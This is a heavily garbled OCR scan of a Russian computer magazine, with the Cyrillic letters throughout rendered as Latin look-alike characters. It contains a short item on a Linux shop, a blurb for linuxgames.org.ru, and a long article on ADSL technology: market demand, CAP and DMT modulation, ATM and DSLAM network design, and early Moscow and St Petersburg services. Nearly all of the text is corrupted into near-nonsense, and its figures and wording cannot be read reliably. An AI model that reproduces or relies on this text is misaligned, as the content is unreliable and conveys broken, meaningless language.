cbx) «root». Ha r/iaBHoPi crpaHMAe — hoboctm, 
aHOHCbi. HyTb r/iy6>xe (3ax/iaA0HHa/i HaBM rauM/i) 

— xoMnaxT-AMCXM c AHCTpM6yTMBaMM m AOxyMeH- 
TauMeM. B pa3Ae/ie «ATpM6yTMxa» mo>xho npMo6- 
peCTM M3MXM C pa3/lMHH0Pl CMMBO/lMXOPi: nMHTBM- 
hom, npaBM/ibHbiMM c/iOBaMM m zioroTMnaMM, a Tax- 
>xe xpy>xxy c HaAnMCbX) «root». L^eHbi b Mara3MHe 
ycTaHOB/ieHbi b py6/mx m He xycaiOTCfl. Mo>xeT 
6biTb, CBoPi nepBbiPi AHCTpM6yTMB ctomt mmchho 
xynMTb. Hy, eiAe m Mafixy ce6e 3axa3aTb. 

http://linuxgames.org.ru 

Linux Hacro ynpexaxrr b tom, hto a aa Hero HeT Mrpy- 
rnex. EiAe toa Ha3aA 3 to 6bi/io npaBAOM. Tenepb Bee 
He Tax. Earn xto He BepMT — y6eAMTecb caMM. Ko- 
HeHHO, noxa eiAe Aa/iexo ao MHoroo6pa3Ma, xapax- 
TepHoro A-nfl Windows-n/iaTcfiopMbi, ho Ae/io CABMHy- 
ziocb c MepTBoPi tohxm m Ha6npaeT o6opoTbi. Mo>xho 
h 3 mtm xax x/iOHbi nony/mpHbix Mrp, Tax m cneuMa/ib- 
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ho HanMcaHHbie A-na Linux. ripoexT HaxoAMTca b 
CT 3AMM CTaHOB/ieHM/1, HO HaCTO 06H0BJlfleTCfl. Tax 
hto, ec/iM Linux y>xe ecTb, a nrpymex noxa HeT, to 
np/iMa/i Aopora Ha http://Linuxgames.org.ru. 
3aoAHO Bbi HaMAeTe Maccy no/ie3Hbix cobctob otho- 
CMTe/ibHO MrpoBoro Linux->xe/ie3a, npaBAa, Ha aHr- 
/1MMCX0M 533blXe. 
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3HaK0MCTB0 c DSL 

npon30M,qeT J1 M 

ADSL-pesoji ioiiim? 

rioHeMy TexHo^ormi ADSL flocroMHa BHMMaHmi? KaKOB ee noTeHpna/i m CMO>KeT /in OHa 
M3MeHMTb cmyaLjmo Ha pbiHKe flocryna b 1/lHTepHeT? Hio6bi OTBen/iTb Ha stm Bonpocbi, 
flaBaMTe CHana/ia nocMOTpMM, KaKMe Te/ieKOMMyHMKapMOHHbie yc/iym Ha ceroflHfuuHMM 
AeHb Han6o/iee Bocipe6oBaHbi. 
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n epBoe Mecro b noTpe6MTeubCKMx npeflnoHTe- 
HMUX (ec/in He npMHMMBTb BO BHMMaHMe MO- 
6MUbHyio CBU3b) 3aHMMaeT nofloioHeHMe k MHTep- 
Heiy. Ha btopom Mecre OKa3biBaeTcu AonouHMTeub- 
HblM Teuec|)OH, HO, XOTfl B MoCKBe nOHTM fleCflTOK 
KpynHbix onepaiopoB cbu3m, nouyHMTb ero OKa3bi- 
Baera He TaK npocro. Ilo flaHHbiM MTTC, b ropofle 
pa6oTaK)T oko/io 110 Tbicun opraHM3auMM, b ochob- 
HOM He60UbLUMX, C HMC/ieHHOCTblO OT 3 flO 15 co- 
TpyflHMKOB. A Be TpeTI/1 M3 HMX MMeiOT BCerO OflMH 
Teuec|)OH, a HeKOTopbie, oco6eHHo b wmuom ceKTO- 
pe. He MMetOT TeuecjDOHa BOBce m AoroBapMBaiOTCu 
o coBNiecTHOM Mcno/ib30BaHMM Teuec|)OHa C KeM- 
HM6yflb M3 WMUbLJOB flOMa. 

K cowaueHMio, ceroAHu HeT TexHouorMM, koto- 
pbie Mor/iM 6bi peiuMTb 3Ty npo6ueMy 3a pa3yMHbie 
AeHbrM. Mo>kho o6paTMTbcu k TpaflMUMOHHbiM Teue- 
cjDOHHbiM onepaTopaM; uio6oPi M3 hmx npeAuowMT 
nOCTpOMTb BO/lOKOHHO-OnTMHeCKyiO UMHMIO MUM Op- 
raHM30BaTb HDSL-KaHau m yciaHOBMTb ocjDMCHyio 
CTaHLjMio. 3 to peiueHMe npMeMueMO, Korfla opraHM- 
3auMM Hy>KHo He MeHee 10-15 TeuecjDOHOB, ho ecuM 
BaM Hy>KHO yciaHOBMTb flBa Teuec|)OHa, to hmiokoto 
Apyroro cnoco6a, KpoMe KaK Ha KawAbm M3 hmx 
B3iiTb NieAHyio napy y MTTC, ceroAHu HeT. 06pame- 
HMe k MITC He BcerAa npMBOAMT k weuaeMOMy pe- 
3yubTaTy, BecbMa BepouTHO, hto y KOMnaHMM He 
OKaweTCU TeXHMHeCKOM B03M0>KH0CTM o6cuy>KM- 
BaTb Bac M3-3a TaKMx npo6ueM, KaK agc^mumt a6o- 
HeHTCKMX UMHMM, 3arpy>KeHHOCTb TeuecjDOHHOM Ka- 
Ha/lM3aAMM, HeXBaTKa HOMepHOM eMKOCTM M T. n. 

MHTepHeT BbiTecHneT TpaAuuiiOHHyio 

Te/iec|>OHMio 

To, Hero Ha npoTuweHMM noc/ieAHMx 10 ueT 6053- 
/iMCb Te/iecjDOHMCTbi, HaHMHaeT npMo6peTaTb pe- 
aubHbie onepTaHMfl: M HTepHeT nocTeneHHO ct 3 ho- 
BMTCfl a/lbTepH3TMBOM TpaAMUMOHHbIM TeXHOUOTM- 
UM CBU3M. IP-npOTOKOU B CMUy CBOeM yHMBep- 
ca/ibHOCTM cnoco6eH nepeHOCMTb /iio6bie bmah 
T pacfiMKa. EuaroAapu IP a6oHeHTCKau umhmu cra- 
HOBMTCU TeM CaMbIM OAHMM Cj)UaKOHOM, B KOTOpOM 
MO>KeT OAHOBpeMeHHO cyiAecTBOBaTb Bee, hto 
yroAHO. To/ioc, 6poAKacTMHr, TeueBM3MOHHoe Be- 
lAaHMe, BMAeo no 3anpocy, VPN, BMAOOKOHcjDepeH- 
Amm — IP Bee paBHo, hto nepeHOCMTb, oh cnpaB- 
/ijieTC53 c /ifo6biMM 3aAanaMM. 3 to BMAHO Ha npM- 
Mepe MHTepHeT-Te/iecjDOHMM, KOTOpaU 3KTMBHO mc- 
noub3yeTCu npM AaubHePi cbu 3 m. TexHouorMu ne- 
peAaHM rouoca nepe3 IP (VoIP) Bee naiAe npMMe- 
Huera b TpaAM umohhom Te/iecjDOHM m p,nn ynuoTHe- 
hmu «nocueAHeM mmum». 

Bo3BpaiAaflCb k pa3roBopy 0 Maubix cepMux Te- 
uec|DOHOB, 33MeTMM, hto MMeHHO MHTepHeT ceroAHu 
AaeT peaubHyio B03M0>KH0CTb nouyHMTb 2-4 Teue- 
cJaoHa. CraHAapTHoe peiueHMe — ycTaHOBKa Mapw- 
pyTM33TopoB c Hy>KHbiM hmcuom Teuec|)OHHbix nop- 
TOB. 

B IP-KUMeHTax npMBueKaeT B03M0>KH0CTb cepb- 
e3HOM skohommm cpeACTB Ha yc/iyrax, ho mx mc- 
no/ib30BaHMe He uMweHO npo6ueM. 


Tpn HanpaB/ieHHfl b uinpoKono/iocHOM 
AOCTyne 

TexHouomu BbiAe/ieHHbix KaHauoB, KOTopbie noxa 
OCTaiOTCU OCHOBOM 60UbLUMHCTBa CKOpOCTHbIX nOA" 
K/HoneHMM k MHTepHeTy, TaK m He cra/ia MaccoBoPi. 

B MocKBe, no pa3/iMHHbiM oueHKaM, hmcuo BbiAe- 
ueHHbix jimhmm KOue6ueTCu ot 5 ao 7 TbicuH, a A-na 
Toro, HTo6bi roBopMTb 0 mo6a/ibHOM pacnpocTpa- 
HeHMM, Tpe6yiOTCU COTHM TbICUH CKOpOCTHbIX nOA- 
K/iiOHeHMM. Ha ceroAHflWHMM AeHb cyiAecTByiOT TpM 
TexHouorMM, KOTopbie npeTeHAyiOT Ha to, HTo6bi 
CTaTb MaccoBbiMM: Ka6eubHbie MOAeMbi, ADSL m 
6ecnpoBOAHOM AOCTyn. 

CTaHAapT MO>KeT CTaTb MaccoBbiM npM co6uiOAe- 
hmm HecKO/ibKMx ycuoBMM: oh AO/i>KHa 6biTb npo- 
CTblM CTOHKM 3peHMU OpraHM3aAMM nOAK/lHDHeHMU, 


6MUbHOCTM M He33BMCMMOCTM OT H3/1MHMU B A9HHOM 
MecTe TeuecfiOHHbix po3eTOK, 6yAeT MMeTb npeMMy- 
lAecTBO. HanpMMep, b npMuo>KeHMux onepaTMBHoro 
xapaKTepa mum npMuoweHMux, KOTopbie Mcnoub3y- 
iot cpeACTBa no3MAMOHMpoBaHMu, yAaueHHoro mo- 
HMTopMHra m t. n. OAHaKO Aa>Ke nponycKHoPi cno- 
co6hoctm ceTeM TpeTbero noKOueHMu He xb3tmt 
A uu TeueBM3MOHHoro BeiAaHMu m nocTOUHHOM ne- 
peAaHM 6oubLUMx noTOKOB AaHHbix. 

noMMMO cotobom cbu3m, onpeAeueHHoe BUMU- 
HMe 6yAyT OKa3biBaTb cMCTeMbi cotoboto TeueBMAe- 
hmu m Apyrne, TaK Ha 3 biBaeMbie BWA-CMCTeMbi. C 
hmmm TO>Ke He Bee npocTO, oco 6 eHHo 3to KacaeTcu 
npo 6 ueM c o 6 ecneHeHMeM MHTepaKTMBHocTM. M 
HaA BceMM 6 ecnpoBOAHbiMM CMCTeMaMM BcerAa 6 y- 
AeT BMceTb «AaM 0 KU 0 B Men» — nacTOTHbiPi pecypc. 


klHTepHeiy ceroAHn He xBaiaeT HecKO/ibKHx 
cocTaB/inioiAiix: CKopocTHoro aeiueBoro aocTyna, 
HeAopororo o 6 opy,qoBaHMa m rapaHTupoBaHHoro KanecTBa 

06 c/iy>KMBaHMfl 


cooTBeTCTBOBaTb 3anpocaM m o>KMAaHMUM noTpe6M- 
TeuePi, MMeTb HM3Kyio ce6ecTOMMOCTb m xopomMe 
nepcneKTMBbi OKynaeMOCTM. flaBaPiTe nocMOTpMM, 
HaCKOUbKO COOTBeTCTByiOT pa3Hbie TeXHOUOTMM 
3TMM Tpe60BaHMUM. 

COOTBeTCTBMe nOTpe6HOCTBM 

MTaK, b Hanaue Mbi onpeAeuMUM cneKTp noTpe6Hoc- 
TePi b cbu3m. 3Aecb Mbi ero HeMHoro paciuMpMM, 3a- 
ruuAbiBau b 6 yAyiAee, Ao6aBMB k cjDMKCMpoBaHHOMy 
TeuecfioHy m MHTepHeTy TeueBM 3 MOHHoe BeiAaHMe m 
Mo6MUbHbm TeuecfioH KaK HaM6ouee BOCTpe6oBaH- 
Hbie ycuyrM Ha ceroAHuwHMPi Aenb. 

Mo6MUbHblM TeuecjDOH B 3TOT CnMCOK BBeAeH He 
cuynaMHO, BeAb coTOBbie ceTM paHO mum no3AHO 
cocTaBUT cepbe3Hyio KOHKypeHAMio y3KonouocHbiM 
C|DMKCMpOBaHHblM UMHMUM. fleUO B TOM, HTO nepe- 
Aana a^hhux — sto KaK 6bi no6oHHbiPi npoAyKT b 
yAOBueTBopeHMM ochobhoPI noTpe6HOCTM, Mo6MUb- 
HOM rOUOCOBOM CBU3M, M 3aTpaTbl Ha AOpa60TKy 
COTOBOpj ceTM HecpaBHMMbl C OCHOBHbIMM MHBeCTM- 
Amumm. OAHaKO noKa ycnexM b stoPI o6uacTM 60- 
uee neM cKpoMHbi. Ecum He cHMTaTb SMS, to hob- 
mecTBa b 3tom o6uacTM, TaKMe KaK WAP m GPRS, He 
onpaBAauM B03uaraeMbix Ha hmx HaAe>KA. Bnpo- 
neM, aHauMTMKOB 3 to He yAMBuueT, eiAe napy ueT 
Ha3aA b caMbiPi nMK nonyuupHOCTM stmx TexHouo- 
tmm ohm npeACKa3biBauM mm cuo>KHyio cyAb6y. 
CePinac 6oubiuMe HaAe>KAbi B03uarai0TCu Ha TexHO- 
uorMio EDGE, KOTopau cepbe3HO paciunpueT npo- 
nycKHyio cnoco6HOCTb coTOBbix ceTeM, a T3K>Ke 
o6ecneHMBaeT 6ouee-MeHee npMUMHHbie ckopoctm. 
TaKMM o6pa30M, nepe3 HeKOTopoe BpeMu c|dmkcm- 
poBaHHbie ceTM noAeuuT pbiHOK nepeAaHM AaHHbix 
C COTOBbIMM. 

3 to uerKO 06-bucHMMO, BeAb cyiAecTByeT puA 
npMUO>KeHMM, TAe COTOBaU CBU3b, B CMUy CBOeM MO- 


KOTopbi m orpaHMHeH, a noTOMy Aopor. K TOMy we 
KanecTBO 3c|dmphom nepeAaHM BcerAa 6 yAeT HMwe 
npOBOAHOm, TaK KaK 3 <t>Mp HeB 03 M 0 >KH 0 3 aiAMTMTb 
ot noMex, KaKMe 6 bi noMexoycTOMHMBbie KOAbi hm 
M 3 o 6 peTauMCb. 

Ka6eubHbie MOAeMbi — npM3H3HHau Ha 3anaAe 
TexHouorMu A-n^ pacnpeAeueHMu TeueBMAeHMu, oa- 
HaKO b Poccmm, rAe TpaAMUMM Ka6eubHoro TeueBM- 
AeHMu He CTOub cMUbHbi, 0Ha CTauKMBaeTcu c on- 
peAeueHHbiMM TpyAHOCTUMM. OAHa M3 hmx — npo- 
6ueMa conpuweHMu c TeuecfioHHoPi ceTbio, m coot- 
BeTCTBeHHo, npeAOCTaBueHMe ycuyr rouocoBOM 
cbu3m. Apya^ 1 — Heo6xoAMMOCTb nocTpoeHMu 
BcePi MHcfipacTpyKTypbi eAMHOBpeMeHHO. Mmchho 
nosTOMy 3 a HecKOUbKO ueT uMiub ABa mockobckmx 
paPioHa o63aBeuMCb cctumm KTB c o6paTHbiM Ka- 
HauoM, Heo6xoAMMbiM A-n^ AOCTyna b MHTepHeT, a 
KOUMHeCTBO MX KUMeHTOB MCHMCUUeTCU HeCKOUbKM- 
MM COTHUMM. 

B HaiueM CTpaHe HaM 6 ouee nepcneKTMBHOM Tex- 
HouorMeM AOCTyna UBuueTCu ADSL (Asymmetric 
Digital Subscriber Lines), no 3 BOuuioiAau nepeAa- 
BaTb AaHHbie co CKopocTbio ao 8 M 6 mt/c no o 6 bin- 
HblM TeuecflOHHblM UMHMUM. TaKMe CKOpOCTM BnouHe 
AOCTaTOHHbl AUU OpraHM 3 aAMM KOUUeKTMBHbIX nOA- 
KUIOHeHMM K MHTepHeTy, 3 CjDC|DeKTMBHOM pa 60 Tbl C 
p 33 UMHHblMM AaHHbIMM, B TOM HMCUe AMCfipOBblM BM- 

Aeo mum MyubTMMeAMa. 

llpocTOTa noAK/iiOHeHMn 
H Ce 6 eCTOMMOCTb 

KaHaubi, nocTpoeHHbie Ha ocHOBe TexHouorMM 
ADSL, o 6 ecneHMBaiOT BbicoKoe KanecTBO cbu3m (Be- 
pouTHOCTb oqjm6km 10' 8 -10 10 ), hto 6um3KO k noKa- 
3 aTeUUM BOUOKOHHO-OnTMHeCKMX UMHMM. ADSL MC- 
noub 3 yeT cyiAecTByioiAyio MHcfipacTpyKTypy m He 
Tpe 6 yeT npoKuaAKM AonouHMTeubHbix npoBOAOB — » 
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CAP 


Upstream 
Voice 


Downstream 



0-4 Khz 

25-160 Khz 


240 Khz-1,5 Mhz 


a Pnc. 1. Pa3Ae/ieHne jimhmm no TexHO/iomii CAP 


DMT 



247 Channels (4 Khz each) 


a Pnc. 2. Apo6/ieiwe Kanana no TexHO/iomu DMT 


» nepeflana AaHHbix npoMcxoflm no tom we /imhmm, 
no kotopom pa6oTaei o6biHHbm Te/iecjDOH. M HaKO- 
Heu, ADSL — TexHO/iomfl aflpecHafl. Ec/im KaHa/i 
noHaAo6M/icfl OflHOMy WM/ibLjy b flOMe, to c noMO- 
lAbio ADSL ero noAK/nonaT, a bot c noMOLAbio Apy- 
tmx TexHO/iorMM Bp^A /in. Hmkto He craHeT cneuM- 
a/ibHO T^HyTb k HeMy BbiAe/ieHHbm KaHa/i m/im Me- 
H^Tb b AOMe Bee Ka6e/iM m pa3B0AKy CKTB. 

no MHAMBMAya/ibHOCTM npeAOCTaB/ieHMA yc/iyrM 
/i m hi b OAHa TexHO/iorMA — acMMMeTpMHHbm cnyT- 
HMKOBblM AOCTyn — MOWeT CpaBHMTbCil c ADSL. 
OAHaKO TaKOM cnoco6 nponrpbiBaeT ADSL no He- 
CKO/ibKMM napaMeTpaM. HanpMMep, ce6ecT0MM0CTb 
(Mbi He roBopMM o ueHe — MHBecTMUMOHHaa npo- 
rpaMMa npoeiaa MoweT 6biTb paccHMTaHa Ha pj\n- 
Te^bHyio y6biT0HH0CTb) nepeAaHM MHcjDopMauMM b 
C nyTHMKOBOM TeXHO/lOTMM Bbliue, HeM B npOBOAHblX 


ceT^x. Tpe6yera eiAe oamh KaHa/i m eiAe oamh 
npoBaMAep nnn cfiopMMpoBaHMfl 3anpocoB b I/I h- 
TepHeT. 

B OT/lMHMe OT OCTa/lbHOrO MMpa, b Poccmm cepb- 
e3Hyio ao/iio pbiHKa MoryT 3aHATb Tax Ha3biBaeMbie 
AOMaiUHMe CeTM. OHeBMAHO, CKa3blBaiOTCfl BbICOKMM 
ypoBeHb o6pa30BaHM^i m HM 3K3A n^aTewecnoco6- 
HocTb Hace/ieHM*. 3to OKa3a/iocb HecKO/ibKO Heo- 
WMAaHHbiM p,nn Te/ieKOMMyHMKaAMOHHbix aHa/iMTM- 
kob, nporH03MpyioiAMx pa3BMTMe HaiuMx Te/ieKOM- 
MyHMKaAMM no 3anaAHbiM moac/iam. 

CeroAHfl AOMaiUHMe ceTM b iokom-to Mepe no- 
BTop^iOT nyTb I/I HTepHeTa — ot cpeAbi o6iAeHMfl 
yB/ieneHHbix /hoagm k KOMMepnecKOM yc/iyre. V\ p,nn 
onepaTopoB cba 3 m ohm He MeHee onacHbi, neM I/I h- 
TepHeT, Ha/iMHMe KOToporo ywe npMBe/io k cepbe3- 
HOMy CHMWeHMIO TapMCflOB. 


CxaweM Tax, ceroAHfl Ha/iMuo 6ypHbm m He- 
ynpaB/iaeMbiM pocT t3kmx ceTeM. 06-bflCHeHMe 3 to- 
My AOBO/ibHO npocToe: ecTb cnpoc — 6yAeT m 
npeA/ioweHMe. CaMoe maBHoe, hto 3Aecb, b otjim- 
HMe OT npOMbILUJieHHbIX TeXHO/lOTMM, He HyWHO MC- 
KaTb MCTOHHMKM MHBeCTMLJMM — T3KMe CeTM M3H3- 
Ha/lbHO Cj3MHaHCMpyiOTC5l CaMMMM WM/lbl^aMM. Cero- 
AHfl maBHbie TpyAHOCTM stmx ceTeM ziewaT b 06/iac- 
tm opraHM3aAMOHHO-iopMAMHecKOM. C tohkm 3pe- 
hma R)ccB5i3bHaA3opa, mx AeflTe/ibHOCTb Tpe6yeT 
JlMI4eH3MpOBaHM^, nOSTOMy 6o/lbLLIMHCTBO T3KMX Ce- 
TeM nepexoAMT noA npMKpbiTMe ocjDMUMa/ibHbix npo- 
BaMAepoB. flpyme M3o6peTaiOT /no6onbiTHbie cjaop- 
Mbi, TMna HeKOMMepnecKMx napTHepcTB, KOTopbie 
cjDopMa^bHO He OKa3biBaiOT yc/iyr, a cobmcctho no- 
Tpe6/ifliOT Kyn/ieHHyio y npoBaMAepa yc/iyry AOCTy- 
na b MHTepHeT. 

OaKTMHecKM y Te/iec|DOHHbix m Ka6e/ibHbix one- 
paTopoB b o6o3HaHeHHOM ceKTope no^B/iaera 
eiAe oamh KOHKypeHT, m MOweT TaK CTaTbca, hto 
npM 6/iaronpMATHOM pa3BMTMM CMTyauM m, no/ib30- 
BaTbCfl Te/iecjDOHOM MJ1 M CMOTpeTb Te/ieBM3op ne- 
pe3 AOMaiuHioio ceTb OKawera BbiroAHee, neM 
npM6eraTb k yc/iyraM onepaTopoB. IIoh^tho, hto 
A/ ifl HopMa/ibHOM Te/iecjDOHM m noHaAo6 ^TC^ b ao- 
CT 3T0HH0M KO/iMHecTBe hi ji io3bi, a p,nn Te/ieBeiAa- 
hma — ceTb BeiAaTe^bHbix cepBepoB, ho onepaTO- 
pbl He B COCTOflHMM nOCT3BMTb 6apbepbl Ha 3T0M 
nyTM. 

EnaBHa^ npo6^eMa, c kotopom CTO^KHyTC^ ao- 
MaiiiHMe ceTM b mx HbmewHeM Mcno/iHeHMM, — 3 to 
npo6^eMa MaciuTa6MpyeM0CTM. fle^o b tom, hto pa- 
AM 3K0H0MMM B T3KMX ceTflx peAKO Mcno^ b3yeTC5l 
npoBOAKa xot^i 6bi 5 -m KaTeropMM. Co6cTBeHHO, 

CKTB b 3 tom n^aHe Taxwe mmciot onpeAe^eHHbie 
orpaHMHeHM^, BeAb TaM nepe3 eAMHCTBeHHbm Ka- 
6e^b pa6oTaiOT MHowecTBO a6oHeHTOB, m sto mo- 
WeT CKa3aTbCfl Ha BBeAeHMM TaKMX MHC|30pMaUM0 H- 
ho HacbiiAeHHbix yc^yr, KaK BMAeo no Tpe6oBaHMio 
m/im ceTeBbie Mrpbi. » 
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< Pnc. 3. CxeMa opraHM3aunM ADSL-ceTH 
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» ADSL — KpaTKiie ceefleHMSi 
o TexHO/iomn 

CyiMecTByeT ue/ioe ccmcmctbo TexHO/iorMM DSL 
(Digital Subscriber Line), KOTopbie no3BO/miOT npe- 
BpaTmb MeflHyio napy b CKopocmoM KaHa/i. OflHa- 
ko p,nn 6o/ibwi/iHCTBa M3 hmx Tpe6yeTca Bbifle/iMTb 
OflHy m/im Aee napbi MeAHbix npoBOAOB. fl/ifl a6o- 
Hema >Ke b 3 >kho, HTo6bi ero Te/iec|DOH pa6oTa/i, KaK 
n npe>KAe. DiaBHoe npeMMyiAecTBO ADSL coctomt b 
tom, hto OHa He Tpe6yeT OTAe/ibHOM /imhmm. no oa- 
hom m tom >Ke mcahom nape, ho b pa3Hbix nacroT- 
Hbix Anana30Hax, pa6oTaeT Te/iec|DOH m nponcxoAMT 
CKopocTHa^ nepeAana AaHHbix. 

KaK 3 to AOCTMraeTC^? Ha OKOHHaHM/ix AeMCTBy- 
loiAePi Te/iecjDOHHOM jimhmm ycraHaB/iMBaiOTCfl cne- 
AMa/ibHbie ycTpoMCTBa (cn/iMTTepbi) — oamh Ha ATC 
m oamh b ocfiMce (KBapTMpe) a6oHeHTa. Mmchho 
ohm Ae/i^T no/iocy nponycKaHMA mcahom napbi. K 
a6oHeHTCKOMy cn/iMTTepy noAK/HonaiOTCfl o6biHHbm 
aHa/ioroBbm Te/iec|DOH m ADSL-MOAeM. K craHAMOH- 
HOMy noAK/iK)HaeTC5i o6opyAOBaHne Te/iecjDOHHOM 
CT3HI4MM M My/lbTMn/ieKCOp (DSLAM), KOTOpbIM 
BK/HoneH b ceTb nepeAaHM AaHHbix. 

B HopMa^bHbix ycnoBMax 3Kcn/iyaTaunM c noMO- 
lAbio TexHO/iorMM ADSL mo>kho bcctm nepeAany 


My Becb cKopocTHOM noTOK pa36MBaeTC5i Ha 6o/ib- 
moe hmcjio 6o/iee mcjikmx noTOKOB, KOTopbie Ha 
KOHI43X /IMHMM BHOBb C06MpaiOTCfl B eAMHbIM nOTOK. 
A/ifl nepeAaHM Te/iec|DOHHoro pa3roBopa AOCTaTOH- 
HO AByX 4 Ktli , K3Ha/10B. l/l3BeCTH0, HTO MeAHbIM Ka- 
6e/ib HeoAHopoAeH, noaTOMy b 33bmcmmoctm ot 
pa3HblX CjDaKTOpOB ero COCTOflHMe M3MeHfleTCfl. Cmt- 
Ha/ibi oahom nacTOTbi npoxoA^T /lynwe, neM CMrHa- 
Abi ApyroM. CMCTeMa ynpaB/ieHM/i nocTpoeHa TaK, 
HTO Bee BpeMfl MAeT MOHMTOpMHT COCTOflHMfl K3W- 
Aoro KaHa/ia m MHcj/opMaAM/i HanpaB/meTCfl b Te M3 
hmx, KOTopbie 06/iaAaiOT HaM/iyHiiiMMM xapaKTepMc- 
TMK3MM. 

Ha pMcyHKe 3 npMBeAeHa cxeMa opraHM3auMM 
TMnoBOM ceTM nepeAaHM AaHHbix, ocHOBaHHOM Ha 
TexHO/iorMM ADSL. CeTb nocTpoeHa no K/iaccMHec- 
KOMy npMHAMny, npeAycMaTpMBaioiAeMy eAMHbie Ha 
BceM npoT^DKeHMM ot ycTaHaB/iMBaeMoro b noMe- 
lAeHMM a6oHeHTa o6opyAOBaHM/i ao tohkm npeAO- 
CTaB/ieHMA yc/iyr CTpyKTypy m cfiopMaT ksapob ne- 
peAaHM — cfiopMaT aneeK ATM (no CTaHAapTy 
RFC1483 — Multiprotocol Encapsulation over ATM 
Adaptation Layer). 

MHcfiopMaAMOHHbie naxeTbi no/ib 30 BaTe/i/i no- 
naAaiOT Ha bxoa ceTM nepeAaHM AaHHbix nepe 3 mh- 


TexHO/iomfl ADSL 06/iaflaeT HecKO/ibKMMM cepbe3HbiMH 
npeMMyiMecTBaMH 


AaHHbix Ha CKopocTM ao 8 M6mt/c b np/iMOM Ha- 
npaB/ieHMM m 1,5 M6mt/c b o6paTHOM. 

ADSL — TexHO/iorMA acMMMeTpMHHa/i, m cko- 
pocTb nepeAaHM AaHHbix b HanpaB/ieHMio k a6o- 
HeHTy 3HaHMTe/ibH0 Bbirne, neM ot Hero. B 3T0M 
n/iaHe ADSL npeACTaB/meTCfl MAea/ibHbiM peweHM- 
eM p,nn AOCTyna b M HTepHeT, npneMa pa3/iMHHbix 
My/ibTMMeAMMHbix yc/iyr, HanpMMep BMAeo no Tpe- 
60 BaHMI 0 . 

CyiAecTByiOT Aea HecoBMecTMMbix Me>KAy co- 
6 om CTaHAapTa ADSL. B 6o/iee paHHeM Mcno/ib3y- 
era MOAy/i^UMn CAP (Carrierless Amplitude 
Phase). CAP Ae/iMT no/iocy nponycKaHM/i Ha TpM 
H3CTM (cm. pMC. 1). 

B Anana30He hm>khmx nacTOT (ot 0 ao 4 K^) 
nepeAaeTca Te/iec|DOHHbiM TpacfiMK, tohho TaK we, 
KaK 3T0 npOMCXOAMT B o6blHHOM Te/iec|)OHHOM CMC- 
TeMe. flMana30H ot 25 ao 160 KTp ota3h p,nn mcxo- 
A^iAero TpacfiMKa nepeAaHM AaHHbix. C 200 KTp Ha- 
HMHaeTCii Anana30H p,nn BxoAfliAero k a6oHeHTy 
TpacfiMKa. BepxH/m rpaHMLja Anana30Ha 33bmcmt ot 
xapaKTepMCTMK mcahom napbi n peAKO npeBbiiuaeT 
1,5 Ml"u. 

DMT Ae/iMT bcio no/iocy nponycKaHna Ha 247 

OTAe^bHblX K 3 Ha/ 10 B, KaWAbIM M 3 KOTOpbIX MMeeT 
nponycKHyio cnoco 6 HOCTb 4 KTa, KaK 3to noKa 3 aHO 
Ha pMcyHKe 2. 

Ec^m OTB/ienbCfl ot TexHMHecKMx AeTa^eM, to 
3to mowho npeACTaBMTb ce 6 e TaK, KaK 6 yATO Mew- 
Ay a 6 oHeHTOM m Te/iecjDOHHOM CTaHAMeM npo^owe- 
HO 247 He 3 aBMCMMblX Te^ec|DOHHblX ^MHMM. fl03T0- 


TepcfieMc a6oHeHTCKoro TepMMHa/ia b cjDopMaTe 
Ethernet 802.3. 3to oneHb BawHbm momcht, TaK 
KaK no/ib30BaTe/no He HywHO 3a6oTMTbCfl o Aono^- 
HMTe/ibHOM o6opyAOBaHMM, a mo6a/ibHafl CeTb CTa- 
HOBMTCil /lOTMHeCKMM npOAO^WeHMCM erO ^OKa^b- 
HOM ceTM. A6oHeHTCKMM TepMM H3/1 npOM3BOAMT 
Bee onpeAe/ieHHbie npoTOKO^OM RFC1483 npeo6- 
pa30BaHM5i (pa36MBaeT m yoaAbiBaeT coAepwM- 
Moe naKeTOB b ^ihcmkm ATM, CHa6waeT mx aApecoM 
Ha3HaneHM5i) m nepeAaeT mx Ha bxoa ADSL-MOAe- 
Ma. B cbok) onepeAb ADSL-moaom b cootbctctbmm 
co CTaHAapTOM T1.413 npoM3BOAMT «MHKancy/ifl- 
Amio» m nepeAany ATM-^ineeK no /imhmm ADSL ao 
MOA eMa My/ibTMn/ieKCopa (DSLAM). DSLAM npoM3- 
boamt o6paTHyio npoueAypy m «BOCCTaHaB/i MBaeT» 
McxoAHbie ATM-flHePiKM M3 cjDopMaTa naKeTOB 
T1.413, KOTopbie cpa3y we nepeAaiOTC^ Ha bxoa 
ATM-M y/ibTMn/ieKCopa m Aa/iee b noACMcreMy MarM- 
CTpa^bHoro AOCTyna no MHTepcfieMcy OC-3. ATM- 
ceTb AOCTaB/i^ieT ncxoAHbie ATM-5iHeMKM no yKa- 
33HHOMy b hmx aApecy Ha3HaneHM5i. B KanecTBe 
aApeca Ha3HaneHM5i Mcno^b3yeTC5i tohk 3 ATM-ce- 
tm, k kotopom noA^iOHeHO o6opyAOBaHMe ueHTpa 
npeAOCTaB^eHMfl yc^yr. llpM nepeAane TpacjDMKa M3 
ueHTpa k a6oHeHTy ocyiAecTB^^noTC^ aHa^orMHHbie 
npeo6pa30BaHM5i. 

nepcneKTMBbi 

Fla 3anaAe aHa/i mtm km npeACKa3biBaiOT ADSL ro- 
pa3AO 6o^ee 6ypHbm pocT, neM KOHKypMpyioiAMM 
TexHO/iorMiiM. A KaK o6ctoat Ae-na c BHeApeHMeM 


ADSL b Poccmm? CeTM AOCTyna CTpo^TC^ b He- 
CKO/ibKMx ropoAax, ho noKa He Bee M3 hmx aoctmt- 
m cepbe3Horo MaciUTa 6 a. CeroAH^i Ha cnyxy Aaa 
npoeKTa: mockobckmm — «ToHKa Py» m caHKT-ne- 
Tep 6 yprcKMM, KOTopbiM 3 aHMMaeTC 5 i Web plus. Ohm 
crapTOBa/iM npMMepHO OAHOBpeMeH ho, oko^o ro- 
Aa Ha3aA- HecMOTp^i Ha to, hto b Ha3B3HMM yc^yr 
npMcyTCTByeT a 66 peBMaTypa ADSL, yc^yrM a 6 co- 
/HOTHO pa 3 Hbie. B IlMTepe a 6 oHeHTaM npeAOCTaB- 
-n^ieTCfl KaHa^ orpaH mhchhom nponycKHOM cnoco 6 - 
hoctm (npMMepHO, 64 K6 mt/c), ueHa Ha KOTopbiM 
cocTaB/meT $29 b Mec^u. B MocKBe K/iMeHTaM 
npeAOCTaB^5ieTC5i no^HOCKopocTHOM (ao 7,5 
M6mt/c) KaHa^. llpM stom a 6 oHeHTCKaa n^aTa, b 
